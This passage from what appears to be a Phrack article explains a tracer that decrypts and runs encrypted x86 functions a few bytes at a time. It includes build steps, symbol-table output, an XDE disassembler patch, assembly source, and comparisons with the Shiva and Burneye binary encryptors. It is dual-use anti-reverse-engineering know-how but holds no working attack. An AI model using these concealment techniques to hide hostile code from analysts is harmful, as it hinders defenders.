The parameters are as follows:

o ‑e,‑d: one of these is MANDATORY and stands for encryption or decryption.

o FILE: the executable file to be encrypted.

o KEY: the encryption key. It must be given as 32 hex digits.

o STARTOFF, ENDOFF: the starting and ending offset in the file that should be encrypted. They must be a multiple of block size (8 bytes). If not, the file will be correctly encrypted, but the encrypted execution will not work correctly.

The whole package is tested on a simple program, test2.c. This program demonstrates that encrypted functions can call both encrypted and plaintext functions as well as return results. It also demonstrates that the engine works even when calling functions in shared libraries.

Now we build the encrypted execution engine:

$ gcc ‑c crypt_exec.S

$ cd xde101

$ gcc ‑c xde.c

$ cd ..

$ ld ‑r cast5.o crypt_exec.o xde101/xde.o ‑o crypt_monitor.o

I'm using patched XDE. The last step is to combine several relocatable object files in a single relocatable file for easier linking with other programs.

Then we proceed to build the test program. We must ensure that functions that we want to encrypt are aligned to 8 bytes. I'm specifying 16 , just in case. Therefore:

$ gcc ‑falign‑functions=16 ‑g test2.c crypt_monitor.o ‑o test2

We want to encrypt functions f1 and f2. How do wemap from function names to offsets in the executable file? Fortunately, this can be simply done for ELF with the readelf utility (that's why I chose such an awkward way ‑ I didn't want to bother with yet another ELF 'parser').

$ readelf ‑s test2

Symbol table '.dynsym' contains 23 entries:

Num: Value Size Type Bind Vis Ndx Name 0: 00000000 0 NOTYPE LOCAL DEFAULT UND

1: 08048484 57 FUNC GLOBAL DEFAULT UND printf 2: 08050aa4 0 OBJECT GLOBAL DEFAULT ABS _DYNAMIC 3: 08048494 0 FUNC GLOBAL DEFAULT UND memcpy 4: 08050b98 4 OBJECT GLOBAL DEFAULT 20 __stderrp 5: 08048468 0 FUNC GLOBAL DEFAULT 8 _init

6: 08051c74 4 OBJECT GLOBAL DEFAULT 20 environ 7: 080484a4 52 FUNC GLOBAL DEFAULT UND fprintf 8: 00000000 0 NOTYPE WEAK DEFAULT UND __deregister_frame.. 9: 0804fc00 4 OBJECT GLOBAL DEFAULT 13 __progname 10: 080484b4 172 FUNC GLOBAL DEFAULT UND sscanf 11: 08050b98 0 NOTYPE GLOBAL DEFAULT ABS __bss_start 12: 080484c4 0 FUNC GLOBAL DEFAULT UND memset 13: 0804ca64 0 FUNC GLOBAL DEFAULT 11 _fini

14: 080484d4 337 FUNC GLOBAL DEFAULT UND atexit 15: 080484e4 121 FUNC GLOBAL DEFAULT UND scanf 16: 08050b98 0 NOTYPE GLOBAL DEFAULT ABS _edata 17: 08050b68 0 OBJECT GLOBAL DEFAULT ABS _GLOBAL_OFFSET_TABLE_ 18: 08051c78 0 NOTYPE GLOBAL DEFAULT ABS _end

19: 080484f4 101 FUNC GLOBAL DEFAULT UND exit

20: 08048504 0 FUNC GLOBAL DEFAULT UND strlen 21: 00000000 0 NOTYPE WEAK DEFAULT UND _Jv_RegisterClasses 22: 00000000 0 NOTYPE WEAK DEFAULT UND __register_frame_info

Symbol table '.symtab' contains 145 entries:

Num: Value Size Type Bind Vis Ndx Name 0: 00000000 0 NOTYPE LOCAL DEFAULT UND

1: 080480f4 0 SECTION LOCAL DEFAULT 1

2: 08048110 0 SECTION LOCAL DEFAULT 2

3: 08048128 0 SECTION LOCAL DEFAULT 3

4: 080481d0 0 SECTION LOCAL DEFAULT 4

5: 08048340 0 SECTION LOCAL DEFAULT 5

6: 08048418 0 SECTION LOCAL DEFAULT 6

7: 08048420 0 SECTION LOCAL DEFAULT 7

8: 08048468 0 SECTION LOCAL DEFAULT 8

9: 08048474 0 SECTION LOCAL DEFAULT 9

10: 08048520 0 SECTION LOCAL DEFAULT 10

11: 0804ca64 0 SECTION LOCAL DEFAULT 11

12: 0804ca80 0 SECTION LOCAL DEFAULT 12

13: 0804fc00 0 SECTION LOCAL DEFAULT 13

14: 08050aa0 0 SECTION LOCAL DEFAULT 14

15: 08050aa4 0 SECTION LOCAL DEFAULT 15

16: 08050b54 0 SECTION LOCAL DEFAULT 16

17: 08050b5c 0 SECTION LOCAL DEFAULT 17

18: 08050b64 0 SECTION LOCAL DEFAULT 18

19: 08050b68 0 SECTION LOCAL DEFAULT 19

20: 08050b98 0 SECTION LOCAL DEFAULT 20

21: 00000000 0 SECTION LOCAL DEFAULT 21

22: 00000000 0 SECTION LOCAL DEFAULT 22

23: 00000000 0 SECTION LOCAL DEFAULT 23

24: 00000000 0 SECTION LOCAL DEFAULT 24

25: 00000000 0 SECTION LOCAL DEFAULT 25

26: 00000000 0 SECTION LOCAL DEFAULT 26

27: 00000000 0 SECTION LOCAL DEFAULT 27

28: 00000000 0 SECTION LOCAL DEFAULT 28

29: 00000000 0 SECTION LOCAL DEFAULT 29

30: 00000000 0 SECTION LOCAL DEFAULT 30

31: 00000000 0 SECTION LOCAL DEFAULT 31

32: 00000000 0 FILE LOCAL DEFAULT ABS crtstuff.c 33: 08050b54 0 OBJECT LOCAL DEFAULT 16 __CTOR_LIST__ 34: 08050b5c 0 OBJECT LOCAL DEFAULT 17 __DTOR_LIST__ 35: 08050aa0 0 OBJECT LOCAL DEFAULT 14 __EH_FRAME_BEGIN__ 36: 08050b64 0 OBJECT LOCAL DEFAULT 18 __JCR_LIST__ 37: 0804fc08 0 OBJECT LOCAL DEFAULT 13 p.0

38: 08050b9c 1 OBJECT LOCAL DEFAULT 20 completed.1 39: 080485b0 0 FUNC LOCAL DEFAULT 10 __do_global_dtors_aux 40: 08050ba0 24 OBJECT LOCAL DEFAULT 20 object.2 41: 08048610 0 FUNC LOCAL DEFAULT 10 frame_dummy 42: 00000000 0 FILE LOCAL DEFAULT ABS crtstuff.c 43: 08050b58 0 OBJECT LOCAL DEFAULT 16 __CTOR_END__ 44: 08050b60 0 OBJECT LOCAL DEFAULT 17 __DTOR_END__ 45: 08050aa0 0 OBJECT LOCAL DEFAULT 14 __FRAME_END__ 46: 08050b64 0 OBJECT LOCAL DEFAULT 18 __JCR_END__ 47: 0804ca30 0 FUNC LOCAL DEFAULT 10 __do_global_ctors_aux 48: 00000000 0 FILE LOCAL DEFAULT ABS test2.c 49: 08048660 75 FUNC LOCAL DEFAULT 10 f1

50: 080486b0 58 FUNC LOCAL DEFAULT 10 f2

51: 08050bb8 16 OBJECT LOCAL DEFAULT 20 key.0

52: 080486f0 197 FUNC LOCAL DEFAULT 10 decode_hex_key 53: 00000000 0 FILE LOCAL DEFAULT ABS cast5.c 54: 0804cba0 1024 OBJECT LOCAL DEFAULT 12 s1

55: 0804cfa0 1024 OBJECT LOCAL DEFAULT 12 s2

56: 0804d3a0 1024 OBJECT LOCAL DEFAULT 12 s3

57: 0804d7a0 1024 OBJECT LOCAL DEFAULT 12 s4

58: 0804dba0 1024 OBJECT LOCAL DEFAULT 12 s5

59: 0804dfa0 1024 OBJECT LOCALDEFAULT 12 s6

60: 0804e3a0 1024 OBJECT LOCAL DEFAULT 12 s7

61: 0804e7a0 1024 OBJECT LOCAL DEFAULT 12 sb8

62: 0804a3c0 3734 FUNC LOCAL DEFAULT 10 key_schedule 63: 0804b408 0 NOTYPE LOCAL DEFAULT 10 identity_decrypt 64: 08051bf0 0 NOTYPE LOCAL DEFAULT 20 r_decrypt 65: 08051be8 0 NOTYPE LOCAL DEFAULT 20 key

66: 08050bd4 0 NOTYPE LOCAL DEFAULT 20 lo_addr

67: 08050bd8 0 NOTYPE LOCAL DEFAULT 20 hi_addr

68: 08050bcc 0 NOTYPE LOCAL DEFAULT 20 traced_eip 69: 08050be0 0 NOTYPE LOCAL DEFAULT 20 end_esp

70: 08050bd0 0 NOTYPE LOCAL DEFAULT 20 traced_ctr 71: 0804b449 0 NOTYPE LOCAL DEFAULT 10 decryptloop 72: 08050bc8 0 NOTYPE LOCAL DEFAULT 20 traced_esp 73: 08051be4 0 NOTYPE LOCAL DEFAULT 20 stk_end

74: 0804b456 0 NOTYPE LOCAL DEFAULT 10 decryptloop_nocontext 75: 0804b476 0 NOTYPE LOCAL DEFAULT 10 .store_decrypt_ptr 76: 08051bec 0 NOTYPE LOCAL DEFAULT 20 decrypt

77: 0804fc35 0 NOTYPE LOCAL DEFAULT 13 insn

78: 08051bf4 0 NOTYPE LOCAL DEFAULT 20 disbuf

79: 08051be4 0 NOTYPE LOCAL DEFAULT 20 ilen

80: 080501f0 0 NOTYPE LOCAL DEFAULT 13 continue 81: 0804fdf0 0 NOTYPE LOCAL DEFAULT 13 control_table 82: 0804fc20 0 NOTYPE LOCAL DEFAULT 13 _unhandled 83: 0804fc21 0 NOTYPE LOCAL DEFAULT 13 _nonjump 84: 0804fc33 0 NOTYPE LOCAL DEFAULT 13 .execute 85: 0804fc55 0 NOTYPE LOCAL DEFAULT 13 _jcc_rel8 86: 0804fc5e 0 NOTYPE LOCAL DEFAULT 13 _jcc_rel32 87: 0804fc65 0 NOTYPE LOCAL DEFAULT 13 ._jcc_rel32_insn 88: 0804fc71 0 NOTYPE LOCAL DEFAULT 13 ._jcc_rel32_true 89: 0804fc6b 0 NOTYPE LOCAL DEFAULT 13 ._jcc_rel32_false 90: 0804fc72 0 NOTYPE LOCAL DEFAULT 13 rel_offset_fixup 91: 0804fc7d 0 NOTYPE LOCAL DEFAULT 13 _retn

92: 0804fca6 0 NOTYPE LOCAL DEFAULT 13 ._endtrace 93: 0804fcbe 0 NOTYPE LOCAL DEFAULT 13 _loopne

94: 0804fce0 0 NOTYPE LOCAL DEFAULT 13 ._loop_insn 95: 0804fcd7 0 NOTYPE LOCAL DEFAULT 13 ._doloop 96: 0804fcc7 0 NOTYPE LOCAL DEFAULT 13 _loope

97: 0804fcd0 0 NOTYPE LOCAL DEFAULT 13 _loop

98: 0804fcec 0 NOTYPE LOCAL DEFAULT 13 ._loop_insn_true 99: 0804fce2 0 NOTYPE LOCAL DEFAULT 13 ._loop_insn_false 100: 0804fcf6 0 NOTYPE LOCAL DEFAULT 13 _jcxz

101: 0804fd0a 0 NOTYPE LOCAL DEFAULT 13 _callrel 102: 0804fd0f 0 NOTYPE LOCAL DEFAULT 13 _call

103: 0804fd38 0 NOTYPE LOCAL DEFAULT 13 _jmp_rel8 104: 0804fd41 0 NOTYPE LOCAL DEFAULT 13 _jmp_rel32 105: 0804fd49 0 NOTYPE LOCAL DEFAULT 13 _grp5

106: 0804fda4 0 NOTYPE LOCAL DEFAULT 13 ._grp5_continue 107: 08050bdc 0 NOTYPE LOCAL DEFAULT 20 our_esp

108: 0804fdc9 0 NOTYPE LOCAL DEFAULT 13 ._grp5_call 109: 0804fdd0 0 NOTYPE LOCAL DEFAULT 13 _0xf

110: 08050be4 0 NOTYPE LOCAL DEFAULT 20 local_stk 111: 00000000 0 FILE LOCAL DEFAULT ABS xde.c

112: 0804b419 0 NOTYPE GLOBAL DEFAULT 10 crypt_exec 113: 08048484 57 FUNC GLOBAL DEFAULT UND printf

114: 08050aa4 0 OBJECT GLOBAL DEFAULT ABS _DYNAMIC 115: 08048494 0 FUNC GLOBAL DEFAULT UND memcpy

116: 0804b684 4662 FUNC GLOBAL DEFAULT 10 xde_disasm 117: 08050b98 4 OBJECT GLOBAL DEFAULT 20 __stderrp 118: 0804fc04 0 OBJECT GLOBAL HIDDEN 13 __dso_handle 119: 0804b504 384 FUNC GLOBAL DEFAULT 10 reg2xset 120: 08048468 0 FUNC GLOBAL DEFAULT 8 _init

121: 0804c8bc 364 FUNC GLOBAL DEFAULT 10 xde_asm

122: 08051c74 4 OBJECT GLOBAL DEFAULT 20 environ

123: 080484a4 52 FUNC GLOBAL DEFAULT UND fprintf 124: 00000000 0 NOTYPE WEAK DEFAULT UND __deregister_frame.. 125: 0804fc00 4 OBJECT GLOBAL DEFAULT 13 __progname 126: 08048520 141 FUNC GLOBAL DEFAULT 10 _start

127: 0804b258 431 FUNC GLOBAL DEFAULT 10 cast5_setkey 128: 080484b4 172 FUNC GLOBAL DEFAULT UND sscanf

129: 08050b98 0 NOTYPE GLOBAL DEFAULT ABS __bss_start 130: 080484c4 0 FUNC GLOBAL DEFAULT UND memset

131: 080487c0 318 FUNC GLOBAL DEFAULT 10 main

132: 0804ca64 0 FUNC GLOBAL DEFAULT 11 _fini

133: 080484d4 337 FUNC GLOBAL DEFAULT UND atexit

134: 080484e4 121 FUNC GLOBAL DEFAULT UND scanf

135: 08050200 2208 OBJECT GLOBAL DEFAULT 13 xde_table 136: 08050b98 0 NOTYPE GLOBAL DEFAULT ABS _edata

137: 08050b68 0 OBJECT GLOBAL DEFAULT ABS _GLOBAL_OFFSET_TABLE_ 138: 08051c78 0 NOTYPE GLOBAL DEFAULT ABS _end

139: 08049660 3421 FUNC GLOBAL DEFAULT 10 cast5_decrypt 140: 080484f4 101 FUNC GLOBAL DEFAULT UND exit

141: 08048900 3421 FUNC GLOBAL DEFAULT 10 cast5_encrypt 142: 08048504 0 FUNC GLOBAL DEFAULT UND strlen

143: 00000000 0 NOTYPE WEAK DEFAULT UND _Jv_RegisterClasses 144: 00000000 0 NOTYPE WEAK DEFAULT UND __register_frame_info

We see that function f1 has address 0x8048660 and size 75 = 0x4B. Function f2 has address 0x80486B0 and size 58 = 3A. Simple calculation shows that they are in fact consecutive in memory so we don't have to encrypt them separately but in a single block ranging from 0x8048660 to 0x80486F0.

$ readelf ‑l test2

Elf file type is EXEC (Executable file)

Entry point 0x8048520

There are 6 program headers, starting at offset 52

Program Headers:

Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align

PHDR 0x000034 0x08048034 0x08048034 0x000c0 0x000c0 R E 0x4 INTERP 0x0000f4 0x080480f4 0x080480f4 0x00019 0x00019 R 0x1 [Requesting program interpreter: /usr/libexec/ld‑elf.so.1] LOAD 0x000000 0x08048000 0x08048000 0x06bed 0x06bed R E 0x1000 LOAD 0x006c00 0x0804fc00 0x0804fc00 0x00f98 0x02078 RW 0x1000 DYNAMIC 0x007aa4 0x08050aa4 0x08050aa4 0x000b0 0x000b0 RW 0x4 NOTE 0x000110 0x08048110 0x08048110 0x00018 0x00018 R 0x4

Section to Segment mapping:

Segment Sections...

00

01 .interp

02 .interp .note.ABI‑tag .hash .dynsym .dynstr .rel.dyn .rel.plt .init .plt .text .fini .rodata

03 .data .eh_frame .dynamic .ctors .dtors .jcr .got .bss 04 .dynamic

05 .note.ABI‑tag

>From this we see that both addresses (0x8048660 and 0x80486F0) fall into the first LOAD segment which is loaded at VirtAddr 0x804800 and is placed at offset 0 in the file. Therefore, to map virtual address to file offset we simply subtract 0x8048000 from each address giving 0x660 = 1632 and 0x6F0 = 1776.

If you obtain ELFsh [7] then you can make your life much easier. The following transcript shows how ELFsh can be used to obtain the same information:

$ elfsh

Welcome to The ELF shell 0.51b3 .::.

.::. This software is under the General Public License .::. Please visit http://www.gnu.org to know about Free Software

[ELFsh‑0.51b3]$ load test2

[*] New object test2 loaded on Mon Jun 13 20:45:33 2005

[ELFsh‑0.51b3]$ sym f1

[SYMBOL TABLE]

[Object test2]

[059] 0x8048680 FUNCTION f1

size:0000000075 foffset:001632 scope:Local sctndx:10 => .text + 304

[ELFsh‑0.51b3]$ sym f2

[SYMBOL TABLE]

[Object test2]

[060] 0x80486d0 FUNCTION f2

size:0000000058 foffset:001776 scope:Local sctndx:10 => .text + 384

[ELFsh‑0.51b3]$ exit

[*] Unloading object 1 (test2) *

Good bye ! .::. The ELF shell 0.51b3

The field foffset gives the symbol offset within the executable, while size is its size. Here all the numbers are decimal.

Now we are ready to encrypt a part of the executable with a very 'imaginative' password and then test the program:

$ echo ‑n "password" | openssl md5 5f4dcc3b5aa765d61d8327deb882cf99

$ ./cryptfile ‑e test2 5f4dcc3b5aa765d61d8327deb882cf99 1632 1776 $ chmod +x test2.crypt

$ ./test2.crypt

At the prompt enter the same hex string and then enter numbers 12 and 34 for a and b. The result must be 1662, and esp before and after must be the same.

Once you are sure that the program works correctly, you can strip(1) symbols from it.

‑‑‑‑[ 3.4 ‑ XDE bug

During the development, a I have found a bug in the XDE disassembler engine: it didn't correctly handle the LOCK (0xF0) prefix. Because of the bug XDE claimed that 0xF0 is a single‑byte instruction. This is the needed patch to correct the disassembler:

‑‑‑ xde.c Sun Apr 11 02:52:30 2004

+++ xde_new.c Mon Aug 23 08:49:00 2004

@@ ‑101,6 +101,8 @@

if (c == 0xF0)

{

if (diza‑>p_lock != 0) flag |= C_BAD; /* twice */

+ diza‑>p_lock = c;

+ continue;

}

break;

I also needed to remove __cdecl on functions, a 'feature' of Win32 C compilers not needed on UNIX platforms.

‑‑‑‑[ 3.5 ‑ Limitations

o XDE engine (probably) can't handle new instructions (SSE, MMX, etc.). For certain it can't handle 3dNow! because they begin with 0x0F 0x0F, a byte sequence for which the XDE claims is an invalid instruction encoding.

o The tracer shares the same memory with the traced program. If the traced program is so badly broken that it writes to (random) memory it doesn't own, it can stumble upon and overwrite portions of the tracing routine.

o Each form of tracing has its own speed impacts. I didn't measure how much this method slows down program execution (especially compared to ptrace()).

o Doesn't handle even all 386 instructions (most notably far calls/jumps and RET imm16). In this case the tracer stops with HLT which should cause GPF under any OS that runs user processes in rings other than 0.

o The block size of 8 bytes is hardcoded in many places in the program. The source (both C and ASM) should be parametrized by some kind of BLOCKSIZE #define.

o The tracing routine is not reentrant! Meaning, any code being executed by crypt_exec can't call again crypt_exec because it will overwrite its own context!

o The code itself isn't optimal:

‑ identity_decrypt could use 4‑byte moves.

‑ More registers could be used to minimize memory references.

‑‑‑‑[ 3.6 ‑ Porting considerations

This is as heavy as it gets ‑ there isn't a single piece of machineindependent code in the main routine that could be used on an another processor architecture. I believe that porting shouldn't be too difficult, mostly rewriting the mechanics of the current program. Some points to watch out for include:

o Be sure to handle all control flow instructions.

o Move instructions could affect processor flags.

o Write a disassembly routine. Most RISC architectures have regular instruction set and should be far easier to disassemble than x86 code.

o This is self‑modifying code: flushing the instruction prefetch queue might be needed.

o Handle delayed jumps and loads if the architecture provides them. This could be tricky.

o You might need to get around page protections before calling the decryptor (non‑executable data segments).

Due to unavailability of non‑x86 hardware I wasn't able to implement the decryptor on another processor.

‑‑[ 4 ‑ Further ideas

o Better encryption scheme. ECB mode is bad, especially with small block size of 8 bytes. Possible alternative is the following:

1. Round the traced_eip down to a multiple of 8 bytes. 2. Encrypt the result with the key.

3. Xor the result with the instruction bytes.

That way the encryption depends on the location in memory. Decryption works the same way. However, it would complicate cryptfile.c program.

o Encrypted data. Devise a transparent (for the C programmer) way to access the encrypted data. At least two approaches come to mind: 1) playing with page mappings and handling read/write faults, or 2) use XDE to decode all accesses to memory and perform encryption or decryption, depending on the type of access (read or write). The first approach seems too slow (many context switches per data read) to be practical.

o New instruction sets and architectures. Expand XDE to handle new x86 instructions. Port the routine to architectures other than i386 (first comes to mind AMD64, then ARM, SPARC...).

o Perform decryption on the smart card. This is slow, but there is no danger of key compromise.

o Polymorphic decryption engine.

‑‑‑‑[ 5 ‑ Related Work

This section gives a brief overview of existing work, either because of similarity in coding techniques (ELFsh and tracing without ptrace) or because of the code protection aspect.

5.1 ELFsh

‑‑‑‑‑‑‑‑‑

The ELFsh crew's article on elfsh and e2dbg [7], also in this Phrack issue. A common point in our work is the approach to program tracing without using ptrace(2). Their latest work is a scriptable embedded ELF debugger, e2dbg. They are also getting around PaX protections, an issue I didn't even take into account.

5.2 Shiva

‑‑‑‑‑‑‑‑‑

The Shiva binary encryptor [8], released in binary‑only form. It tries really hard to prevent reverse engineering by including features such as trap flag detection, ptrace() defense, demand‑mapped blocks (so that fully decrpyted image can't be dumped via /proc), using int3 to emulate some instructions, and by encryption in layers. The 2nd, password protected layer, is optional and encrypted using 128‑bit AES. Layer 3 encryption uses TEA, the tiny encryption algorithm.

According to the analysis in [9], "for sufficiently large programs, no more than 1/3 of the program will be decrypted at any given time". This is MUCH larger amount of decrypted program text than in my case: 24 bytes, independent of any external factors. Also, Shiva is heavily tied to the ELF format, while my method is not tied to any operating system or executable format (although the current code IS limited to the 32‑bit x86 architecture).

5.3 Burneye

‑‑‑‑‑‑‑‑‑‑‑

There are actually two tools released by team‑teso: burneye and burneye2 (objobf) [10].

Burneye is a powerful binary encryption tool. Similarly to Shiva, it has three layers: 1) obfuscation, 2) password‑based encryption using RC4 and SHA1 (for generating the key from passphrase), and 3) the fingerprinting layer.

The fingerprinting layer is the most interesting one: the data about the target system is collected (e.g. amount of memory, etc..) and made into a 'fingeprint'. The executable is encrypted taking the fingerprint into account so that the resulting binary can be run only on the host with the given fingerprint. There are two fingerprinting options:

o Fingeprint tolerance can be specified so that Small deviations are allowed. That way, for example, the memory can be upgraded on the target system and the executable will still work. If the number of differences in the fingeprint is too large, the program won't work.

o Seal: the program produced with this option will run on any system. However, the first time it is run, it creats a fingerprint of the host and 'seals' itself to that host. The original seal binary is securely deleted afterwards.

The encrypted binary can also be made to delete itself when a certain environment variable is set during the program execution.

objobf is just relocatable object obfuscator. There is no encryption layer. The input is an ordinary relocatable object and the output is transformed, obfuscated, and functionally equivalent code. Code transformations include: inserting junk instructions, randomizing the order of basic blocks, and splitting basic blocks at random points.

5.4 Conclusion

‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Highlights of the distinguishing features of the code encryption technique presented here:

o Very small amount of plaintext code in memory at any time ‑ only 24 bytes. Other tools leave much more plain‑text code in memory.

o No special loaders or executable format manipulations are needed. There is one simple utility that encrypts the existing code in‑place. It is executable format‑independent since its arguments are function offsets within the executable (which map to function addresses in runtime).

o The code is tied to the 32‑bit x86 architecture, however it should be portable without changes to any operating system running on x86‑32. Special arrangements for setting up page protections may be necessary if PaX or NX is in effect.

On the downside, the current version of the engine is very vulnerable with respect to reverse‑engineering. It can be easily recognized by scanning for fixed sequences of instructions (the decryption routine). Once the decryptor is located, it is easy to monitor a few fixed memory addresses to obtain both the EIP and the original instruction residing at that EIP. The key material data is easy to obtain, but this is the case in ANY approach using in‑memory keys.

However, the decryptor in its current form has one advantage: since it is ordinary code that does no special tricks, it should be easy to combine it with a tool that is more resilient to reverse‑engineering, like Shiva or Burneye.

‑‑‑‑[ 6 ‑ References

1. Phrack magazine.

http://www.phrack.org

2. ptrace tutorials: http://linuxgazette.net/issue81/sandeep.html

http://linuxgazette.net/issue83/sandeep.html

http://linuxgazette.net/issue85/sandeep.html

3. D. E. Knuth: The Art of Computer Programming, vol.1: Fundamental Algorithms.

4. Fenris.

http://lcamtuf.coredump.cx/fenris/whatis.shtml

5. XDE.

http://z0mbie.host.sk

6. Source code for described programs. The source I have written is released under MIT license. Other files have different licenses. The archive also contains a patched version of XDE. http://www.core‑dump.com.hr/software/cryptexec.tar.gz

7. ELFsh, the ELF shell. A powerful program for manipulating ELF files. http://elfsh.devhell.org

8. Shiva binary encryptor. http://www.securereality.com.au

9. Reverse Engineering Shiva. http://blackhat.com/presentations/bh‑federal‑03/bh‑federal‑03‑eagle/

bh‑fed‑03‑eagle.pdf

10. Burneye and Burneye2 (objobf). http://packetstormsecurity.org/groups/teso/indexsize.html

‑‑‑‑[ 7 ‑ Credits

Thanks go to mayhem who has reviewed this article. His suggestions were very helpful, making the text much more mature than the original.

‑‑[ A ‑ Appendix: Source code

Here I'm providing only my own source code. The complete source package can be obtained from [6]. It includes:

o All source listed here,

o the patched XDE disassembler, and

o the source of the CAST5 cryptographic algorithm.

‑‑‑‑[ A.1 ‑ The tracer source: crypt_exec.S

/*

Copyright (c) 2004 Zeljko Vrba

Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

*/

.text

/***************************************

* void *crypt_exec(

* decrypt_fn_ptr dfn, const void *key,

* const void *lo_addr, const void *hi_addr,

* const void *addr, ...)

* typedef (*decrypt_fn_ptr)(

* void *key, unsigned char *dst, const unsigned char *src); *

* ‑ dfn is pointer to deccryption function

* ‑ key is pointer to crypt routine key data

* ‑ addr is the addres where execution should begin. due to the way the * code is decrypted and executed, it MUST be aligned to 8 (BLOCKSIZE) * bytes!!

* ‑ the rest are arguments to called function

*

* The crypt_exec stops when the stack pointer becomes equal to what it * was on entry, and executing 'ret' would cause the called function to * exit. This works assuming normal C compiled code.

*

* Returns the value the function would normally return.

*

* This code calls:

* int xde_disasm(unsigned char *ip, struct xde_instr *outbuf); * XDE disassembler engine is compiled and used with PACKED structure! *

* It is assumed that the encryption algorithm uses 64‑bit block size. * Very good protection could be done if decryption is executed on the * SMART CARD.

*

* Some terminology:

* 'Traced' refers to the original program being executed instruction by * instruction. The technique used resembles Knuth's tracing routine (and * indeed, we get true tracing when decryption is dropped).

*

* 'Our' refers to our data stack, etc.

*

* TODOs and limitations:

* ‑ some instructions are not emulated (FAR CALL/JMP/RET, RET NEAR imm16) * ‑ LOOP* and JCXZ opcodes haven't been tested

* ‑ _jcc_rel32 has been tested only indirectly by _jcc_rel8

***************************************

/*

Offsets into xde_instr struct.

*/

#define OPCODE 23

#define OPCODE2 24

#define MODRM 25

/*

Set up our stack and save traced context. The context is saved at the end of our stack.

*/

#define SAVE_TRACED_CONTEXT \

movl %esp, traced_esp ;\

movl $stk_end, %esp ;\

pusha ;\

pushf

/*

Restore traced context from the current top of stack. After that restores traced stack pointer.

*/

#define RESTORE_TRACED_CONTEXT \

popf ;\

popa ;\

movl traced_esp, %esp

/*

Identity decryption routine. This just copies 8 bytes (BLOCKSIZE) from source to destination. Has normal C calling convention. Is not global. */

identity_decrypt:

movl 8(%esp), %edi /* destination address */

movl 12(%esp), %esi /* source address */

movl $8, %ecx /* 8 bytes */

cld

rep movsb

ret

crypt_exec:

.globl crypt_exec

.extern disasm

/*

Fetch all arguments. We are called from C and not expected to save registers. This is the stack on entry:

[ ret_addr dfn key lo_addr hi_addr addr ...args ]

*/

popl %eax /* return address */

popl r_decrypt /* real decryption function pointer */

popl key /* encryption key */

popl lo_addr /* low traced eip */

popl hi_addr /* high traced eip */

popl traced_eip /* eip to start tracing */

pushl %eax /* put return addr to stack again */

/*

now the stack frame resembles as if inner function (starting at traced_eip) were called by normal C calling convention (after return address, the vararg arguments folow)

*/

movl %esp, end_esp /* this is used to stop tracing. */

movl $0, traced_ctr /* reset counter of insns to 0 */

decryptloop:

/*

This loop traces a single instruction.

The CONTEXT at the start of each iteration: traced_eip: points to the next instruction in traced program

First what we ever do is switch to our own stack and store the traced program's registers including eflags.

Instructions are encrypted in ECB mode in blocks of 8 bytes. Therefore, we always must start decryption at the lower 8‑byte boundary. The total of three blocks (24) bytes are decrypted for one instruction. This is due to alignment and maximum instruction length constraints: if the instruction begins at addres that is congruent to 7 mod 8 + 16 bytes maximum length (given some slack) gives instruction span of three blocks.

Yeah, I know ECB sucks, but this is currently just a proof‑of concept. Design something better for yourself if you need it. */

SAVE_TRACED_CONTEXT

decryptloop_nocontext:

/*

This loop entry point does not save traced context. It is used from control transfer instruction emulation where we doall work ourselves and don't use traced context.

The CONTEXT upon entry is the same as for decryptloop.

First decide whether to decrypt or just trace the plaintext code. */

movl traced_eip, %eax

movl $identity_decrypt, %ebx /* assume no decryption */

cmpl lo_addr, %eax

jb .store_decrypt_ptr /* traced_eip < lo_addr */

cmpl hi_addr, %eax

ja .store_decrypt_ptr /* traced_eip > hi_addr */

movl r_decrypt, %ebx /* in bounds, do decryption */

.store_decrypt_ptr:

movl %ebx, decrypt

/*

Decrypt three blocks starting at eax, reusing arguments on the stack for the total of 3 calls. WARNING! For this to work properly, the decryption function MUST NOT modify its arguments!

*/

andl $‑8, %eax /* round down traced_eip to 8 bytes */

pushl %eax /* src buffer */

pushl $insn /* dst buffer */

pushl key /* key data pointer */

call *decrypt /* 1st block */

addl $8, 4(%esp) /* advance dst */

addl $8, 8(%esp) /* advance src */

call *decrypt /* 2nd block */

addl $8, 4(%esp) /* advance dst */

addl $8, 8(%esp) /* advance src */

call *decrypt /* 3rd block */

addl $12, %esp /* clear args from stack */

/*

Obtain the real start of instruction in the decrypted buffer. The traced eip is taken modulo blocksize (8) and added to the start address of decrypted buffer. Then XDE is called (standard C calling convention) to get necessary information about the instruction. */

movl traced_eip, %eax

andl $7, %eax /* traced_eip mod 8 */

addl $insn, %eax /* offset within decrypted buffer */

pushl $disbuf /* address to disassemble into */

pushl %eax /* insn offset to disassemble */

call xde_disasm /* disassemble and return len */

movl %eax, ilen /* store instruction length */

popl %eax /* decrypted insn start */

popl %ebx /* clear remaining arg from stack */

/*

Calculate the offset in control table of the instruction handling routine. Non‑control transfer instructions are just executed in traced context, other instructions are emulated.

Before executing the instruction, the traced eip is advanced by instruction length, and the number of executed instructions is incremented. We also append indirect 'jmp *continue' after the instruction, to continue execution at appropriate place in our tracing. The JMP indirect opcodes are 0xFF 0x25.

*/

movl ilen, %ebx

addl %ebx, traced_eip /* advance traced eip */

incl traced_ctr /* increment counter */

movw $0x25FF, (%eax, %ebx) /* JMP indirect; little‑endian! */

movl $continue, 2(%eax, %ebx) /* store address */

movzbl OPCODE+disbuf, %esi /* load instruction byte */

jmp *control_table(,%esi,4) /* execute by appropirate handler */

.data

/*

Emulation routines start here. They are in data segment because code segment isn't writable and we are modifying our own code. We don't want yet to mess around with mprotect(). One day (non‑exec page table support on x86‑64) it will have to be done anyway..

